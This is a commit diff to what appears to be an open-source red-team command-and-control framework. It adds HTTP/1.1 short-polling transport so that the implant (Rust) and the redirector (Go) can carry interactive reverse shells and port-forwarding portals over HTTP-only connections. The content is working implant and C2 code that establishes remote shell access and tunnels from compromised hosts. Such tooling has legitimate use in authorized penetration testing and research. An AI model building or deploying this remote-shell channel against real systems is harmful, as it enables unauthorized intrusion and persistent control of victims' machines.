Http1 short polling interactive async (#2102)

* feat(http): implement HTTP short polling for ReverseShell and CreatePortal

Update the HTTP/1.1 transport to support bidirectional streaming via short polling for `ReverseShell` and `CreatePortal`. This enables interactive connections across agents restricted to HTTP-only communications.

- Define new gRPC stream configs for ReverseShell and CreatePortal.
- Add `handleShortPollStreaming` in `tavern` HTTP redirector for decoding POST payloads and replying with backend payloads.
- Update `http.rs` in `imix` transport to frequently POST requests to send output or ping, receiving commands iteratively.

Co-authored-by: hulto <7121375+hulto@users.noreply.github.com>

* Get data back but no input

* input and output is working.

* This seems to work stably just time-wait

* stash

* fmt

* Explicitly disable keep alive

* cleanup

---------

Co-authored-by: google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com>

Author: hulto

implants/lib/transport/Cargo.toml

@@ -39,6 +39,7 @@ rustls_0_21 = { package = "rustls", version = "0.21", features = ["dangerous_con
 http-body-util = "0.1"
 hyper-http-proxy = { version = "1.1.0", default-features = false, features = ["rustls-tls-native-roots"] }
 hyper-proxy-legacy = { package = "hyper-proxy", version = "0.9.1", default-features = false, features = ["rustls"] }
+uuid = { workspace = true, features = ["v4", "fast-rng"] }
 hickory-resolver = { version = "0.24", features = ["dns-over-https-rustls", "webpki-roots"], optional = true }
 base32 = { workspace = true, optional = true }
 rand = { workspace = true, optional = true }

implants/lib/transport/src/http.rs

@@ -89,7 +89,8 @@ static REPORT_CREDENTIAL_PATH: &str = "/c2.C2/ReportCredential";
 static REPORT_FILE_PATH: &str = "/c2.C2/ReportFile";
 static REPORT_PROCESS_LIST_PATH: &str = "/c2.C2/ReportProcessList";
 static REPORT_OUTPUT_PATH: &str = "/c2.C2/ReportOutput";
-static _REVERSE_SHELL_PATH: &str = "/c2.C2/ReverseShell";
+static REVERSE_SHELL_PATH: &str = "/c2.C2/ReverseShell";
+static CREATE_PORTAL_PATH: &str = "/c2.C2/CreatePortal";
 
 // Marshal: Encode and encrypt a message using the ChachaCodec
 // Uses the helper functions exported from pb::xchacha
@@ -166,6 +167,160 @@ impl std::fmt::Debug for HTTP {
 }
 
 impl HTTP {
+    async fn handle_short_poll_streaming<Req, Resp>(
+        &self,
+        mut rx: tokio::sync::mpsc::Receiver<Req>,
+        tx: tokio::sync::mpsc::Sender<Resp>,
+        path: &'static str,
+    ) -> Result<()>
+    where
+        Req: Message + Send + 'static,
+        Resp: Message + Default + Send + 'static,
+    {
+        // Generate a unique session ID so the redirector can maintain a persistent
+        // gRPC stream across multiple HTTP short-poll requests.
+        let session_id = uuid::Uuid::new_v4().to_string();
+
+        loop {
+            // Buffer to hold messages to send in this polling interval
+            let mut messages = Vec::new();
+
+            // Check if there's any outgoing message (blocks until one is available or channel closed)
+            match tokio::time::timeout(std::time::Duration::from_millis(50), rx.recv()).await {
+                Ok(Some(msg)) => {
+                    messages.push(msg);
+
+                    // Grab any other immediately available messages
+                    while let Ok(msg) = rx.try_recv() {
+                        messages.push(msg);
+                    }
+                }
+                Ok(None) => {
+                    // Channel closed, terminate streaming
+                    break;
+                }
+                Err(_) => {
+                    // Timeout (50ms elapsed, no message). Continue loop to send empty payload/ping
+                }
+            }
+
+            let data_sent = !messages.is_empty();
+
+            // Prepare the body with encoded gRPC frames
+            let mut request_body = BytesMut::new();
+            for msg in messages {
+                let request_bytes = match marshal_with_codec::<Req, Resp>(msg) {
+                    Ok(bytes) => bytes,
+                    Err(err) => {
+                        #[cfg(debug_assertions)]
+                        log::error!("Failed to marshal streaming message: {}", err);
+                        continue;
+                    }
+                };
+                let frame_header = grpc_frame::FrameHeader::new(request_bytes.len() as u32);
+                request_body.extend_from_slice(&frame_header.encode());
+                request_body.extend_from_slice(&request_bytes);
+            }
+
+            // Build and send the HTTP request with session header for persistent stream routing
+            let uri = self.build_uri(path)?;
+            let req = self
+                .request_builder(uri)
+                .header("X-Stream-Session-Id", &session_id)
+                .body(hyper_legacy::Body::from(request_body.freeze()))
+                .context("Failed to build HTTP request")?;
+
+            let response = match tokio::time::timeout(
+                std::time::Duration::from_secs(30),
+                self.send_and_validate(req),
+            )
+            .await
+            {
+                Ok(Ok(resp)) => resp,
+                Ok(Err(err)) => {
+                    #[cfg(debug_assertions)]
+                    log::error!("Failed to send short poll HTTP request: {}", err);
+                    tokio::time::sleep(std::time::Duration::from_secs(1)).await;
+                    continue;
+                }
+                Err(_) => {
+                    #[cfg(debug_assertions)]
+                    log::error!("Short poll HTTP request timed out after 30s");
+                    tokio::time::sleep(std::time::Duration::from_secs(1)).await;
+                    continue;
+                }
+            };
+
+            // Read entire response body then decode gRPC frames and send via async channel.
+            // We cannot use stream_grpc_frames here because its handler closure is synchronous,
+            // and tokio::sync::mpsc::Sender requires async send (blocking_send panics in async context).
+            let body_bytes = Self::read_response_body(response).await;
+            let mut data_received = false;
+            let result: Result<()> = match body_bytes {
+                Ok(bytes) => {
+                    #[cfg(debug_assertions)]
+                    if !bytes.is_empty() {
+                        log::debug!("Received short poll response body: {} bytes", bytes.len());
+                    }
+                    let mut buffer = BytesMut::from(bytes.as_ref());
+                    let mut send_err = None;
+                    let mut frame_count = 0;
+                    while let Some((_header, encrypted_message)) =
+                        grpc_frame::FrameHeader::extract_frame(&mut buffer)
+                    {
+                        frame_count += 1;
+                        data_received = true;
+                        #[cfg(debug_assertions)]
+                        log::debug!(
+                            "Extracted frame {} from short poll response ({} bytes)",
+                            frame_count,
+                            encrypted_message.len()
+                        );
+
+                        match unmarshal_with_codec::<Req, Resp>(&encrypted_message) {
+                            Ok(response_msg) => {
+                                #[cfg(debug_assertions)]
+                                log::debug!("Unmarshaled message {} from short poll response, sending to channel", frame_count);
+
+                                if let Err(err) = tx.send(response_msg).await {
+                                    send_err = Some(anyhow::anyhow!(
+                                        "Failed to send response through channel: {}",
+                                        err
+                                    ));
+                                    break;
+                                }
+                            }
+                            Err(err) => {
+                                send_err = Some(err);
+                                break;
+                            }
+                        }
+                    }
+                    match send_err {
+                        Some(err) => Err(err),
+                        None => Ok(()),
+                    }
+                }
+                Err(err) => Err(err),
+            };
+
+            if let Err(err) = result {
+                #[cfg(debug_assertions)]
+                log::error!("Failed to process response frames: {}", err);
+                break;
+            }
+
+            // Adding a small delay to prevent tight loop spinning if rx channel isn't busy
+            if data_sent || data_received {
+                tokio::task::yield_now().await;
+            } else {
+                tokio::time::sleep(std::time::Duration::from_millis(500)).await;
+            }
+        }
+
+        Ok(())
+    }
+
     /// Build URI from path
     fn build_uri(&self, path: &str) -> Result<hyper_legacy::Uri> {
         let url = format!("{}{}", self.base_url, path);
@@ -178,6 +333,7 @@ impl HTTP {
             .method(hyper_legacy::Method::POST)
             .uri(uri)
             .header("Content-Type", "application/grpc")
+            .header("Connection", "close")
     }
 
     /// Send HTTP request and validate status code
@@ -537,22 +693,43 @@ impl Transport for HTTP {
 
     async fn reverse_shell(
         &mut self,
-        _rx: tokio::sync::mpsc::Receiver<ReverseShellRequest>,
-        _tx: tokio::sync::mpsc::Sender<ReverseShellResponse>,
+        rx: tokio::sync::mpsc::Receiver<ReverseShellRequest>,
+        tx: tokio::sync::mpsc::Sender<ReverseShellResponse>,
     ) -> Result<()> {
-        Err(anyhow::anyhow!(
-            "http/1.1 transport does not support reverse shell"
-        ))
+        // Spawn polling loop in background and return immediately.
+        // The caller (pty.rs) expects reverse_shell() to return so the input
+        // handling loop can run concurrently, matching the gRPC transport behavior.
+        let transport = self.clone();
+        tokio::spawn(async move {
+            if let Err(_err) = transport
+                .handle_short_poll_streaming(rx, tx, REVERSE_SHELL_PATH)
+                .await
+            {
+                #[cfg(debug_assertions)]
+                log::error!("reverse_shell short poll streaming ended: {}", _err);
+            }
+        });
+        Ok(())
     }
 
     async fn create_portal(
         &mut self,
-        _rx: tokio::sync::mpsc::Receiver<CreatePortalRequest>,
-        _tx: tokio::sync::mpsc::Sender<CreatePortalResponse>,
+        rx: tokio::sync::mpsc::Receiver<CreatePortalRequest>,
+        tx: tokio::sync::mpsc::Sender<CreatePortalResponse>,
     ) -> Result<()> {
-        Err(anyhow::anyhow!(
-            "http/1.1 transport does not support portal"
-        ))
+        // Spawn polling loop in background and return immediately,
+        // matching the gRPC transport behavior.
+        let transport = self.clone();
+        tokio::spawn(async move {
+            if let Err(_err) = transport
+                .handle_short_poll_streaming(rx, tx, CREATE_PORTAL_PATH)
+                .await
+            {
+                #[cfg(debug_assertions)]
+                log::error!("create_portal short poll streaming ended: {}", _err);
+            }
+        });
+        Ok(())
     }
 
     fn get_type(&mut self) -> pb::c2::transport::Type {

tavern/internal/redirectors/http1/grpc_stream.go

@@ -31,6 +31,24 @@ var (
 		},
 		MethodPath: "/c2.C2/ReportFile",
 	}
+
+	reverseShellStream = streamConfig{
+		Desc: grpc.StreamDesc{
+			StreamName:    "ReverseShell",
+			ServerStreams: true,
+			ClientStreams: true,
+		},
+		MethodPath: "/c2.C2/ReverseShell",
+	}
+
+	createPortalStream = streamConfig{
+		Desc: grpc.StreamDesc{
+			StreamName:    "CreatePortal",
+			ServerStreams: true,
+			ClientStreams: true,
+		},
+		MethodPath: "/c2.C2/CreatePortal",
+	}
 )
 
 // createStream creates a gRPC stream with the given configuration

tavern/internal/redirectors/http1/handlers.go

@@ -94,6 +94,79 @@ func handleFetchAssetStreaming(w http.ResponseWriter, r *http.Request, conn *grp
 	slog.Debug("http1 redirector: FetchAsset streaming complete", "chunks", chunkCount, "total_bytes", totalBytes)
 }
 
+func handleShortPollStreaming(w http.ResponseWriter, r *http.Request, conn *grpc.ClientConn, cfg streamConfig) {
+	if !requirePOST(w, r) {
+		slog.Error("http1 redirector: incoming request rejected, method not allowed", "method", r.Method, "path", r.URL.Path, "source", r.RemoteAddr)
+		return
+	}
+
+	clientIP := getClientIP(r)
+	slog.Debug("http1 redirector: short poll streaming request", "method", cfg.MethodPath, "source", clientIP)
+
+	sessionID := r.Header.Get(sessionHeader)
+	if sessionID == "" {
+		slog.Error("http1 redirector: missing session header", "method", cfg.MethodPath, "source", clientIP)
+		http.Error(w, "Missing "+sessionHeader+" header", http.StatusBadRequest)
+		return
+	}
+
+	// Parse incoming gRPC stream data
+	buffer, ok := readRequestBody(w, r)
+	if !ok {
+		slog.Error("http1 redirector: incoming request failed, could not read request body", "path", cfg.MethodPath, "source", clientIP)
+		return
+	}
+
+	// Get or create a persistent stream session
+	sess, err := sessionManager.getOrCreate(sessionID, conn, cfg)
+	if err != nil {
+		slog.Error("http1 redirector: upstream request failed, could not create gRPC stream", "method", cfg.MethodPath, "error", err)
+		handleStreamError(w, "Failed to create gRPC stream", err)
+		return
+	}
+
+	// Send all messages extracted from the poll body
+	for {
+		header, message, remaining, ok := extractFrame(buffer)
+		if !ok {
+			break
+		}
+
+		buffer = remaining
+		slog.Debug("http1 redirector: received short poll stream chunk", "compression", header.CompressionFlag, "length", header.MessageLength)
+
+		if err := sess.send(message); err != nil {
+			slog.Error("http1 redirector: upstream request failed, could not send gRPC message", "method", cfg.MethodPath, "error", err)
+			sessionManager.remove(sessionID)
+			handleStreamError(w, "Failed to send gRPC message", err)
+			return
+		}
+	}
+
+	// Drain any buffered server responses
+	responses := sess.drain()
+
+	setGRPCResponseHeaders(w)
+
+	totalBytes := 0
+	for _, responseChunk := range responses {
+		totalBytes += len(responseChunk)
+
+		fh := newFrameHeader(uint32(len(responseChunk)))
+		encodedHeader := fh.Encode()
+		if _, err := w.Write(encodedHeader[:]); err != nil {
+			slog.Error("http1 redirector: incoming request failed, could not write frame header to client", "error", err)
+			return
+		}
+
+		if _, err := w.Write(responseChunk); err != nil {
+			slog.Error("http1 redirector: incoming request failed, could not write chunk to client", "error", err)
+			return
+		}
+	}
+	slog.Debug("http1 redirector: short poll streaming complete", "session_id", sessionID, "chunks", len(responses), "total_bytes", totalBytes)
+}
+
 func handleReportFileStreaming(w http.ResponseWriter, r *http.Request, conn *grpc.ClientConn) {
 	if !requirePOST(w, r) {
 		slog.Error("http1 redirector: incoming request rejected, method not allowed", "method", r.Method, "path", r.URL.Path, "source", r.RemoteAddr)

tavern/internal/redirectors/http1/http.go

@@ -40,6 +40,7 @@ func readRequestBody(w http.ResponseWriter, r *http.Request) ([]byte, bool) {
 // setGRPCResponseHeaders sets standard gRPC response headers
 func setGRPCResponseHeaders(w http.ResponseWriter) {
 	w.Header().Set("Content-Type", "application/grpc")
+	w.Header().Set("Connection", "close")
 	w.WriteHeader(http.StatusOK)
 }
 

tavern/internal/redirectors/http1/redirector.go

@@ -27,15 +27,22 @@ func (r *Redirector) Redirect(ctx context.Context, listenOn string, upstream *gr
 	mux.HandleFunc("/c2.C2/ReportFile", func(w http.ResponseWriter, r *http.Request) {
 		handleReportFileStreaming(w, r, upstream)
 	})
+	mux.HandleFunc("/c2.C2/ReverseShell", func(w http.ResponseWriter, r *http.Request) {
+		handleShortPollStreaming(w, r, upstream, reverseShellStream)
+	})
+	mux.HandleFunc("/c2.C2/CreatePortal", func(w http.ResponseWriter, r *http.Request) {
+		handleShortPollStreaming(w, r, upstream, createPortalStream)
+	})
 	mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
 		handleHTTPRequest(w, r, upstream)
 	})
 
 	srv := &http.Server{
 		Addr:      listenOn,
-		Handler:   mux,
+		Handler:   closeConnectionMiddleware(mux),
 		TLSConfig: tlsConfig,
 	}
+	srv.SetKeepAlivesEnabled(false)
 
 	if tlsConfig != nil {
 		slog.Debug("http1 redirector: TLS enabled", "listen_on", listenOn, "min_version", tlsConfig.MinVersion, "num_certificates", len(tlsConfig.Certificates))
@@ -46,3 +53,10 @@ func (r *Redirector) Redirect(ctx context.Context, listenOn string, upstream *gr
 	slog.Info("http1 redirector: HTTP started", "listen_on", listenOn)
 	return srv.ListenAndServe()
 }
+
+func closeConnectionMiddleware(next http.Handler) http.Handler {
+	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.Header().Set("Connection", "close")
+		next.ServeHTTP(w, r)
+	})
+}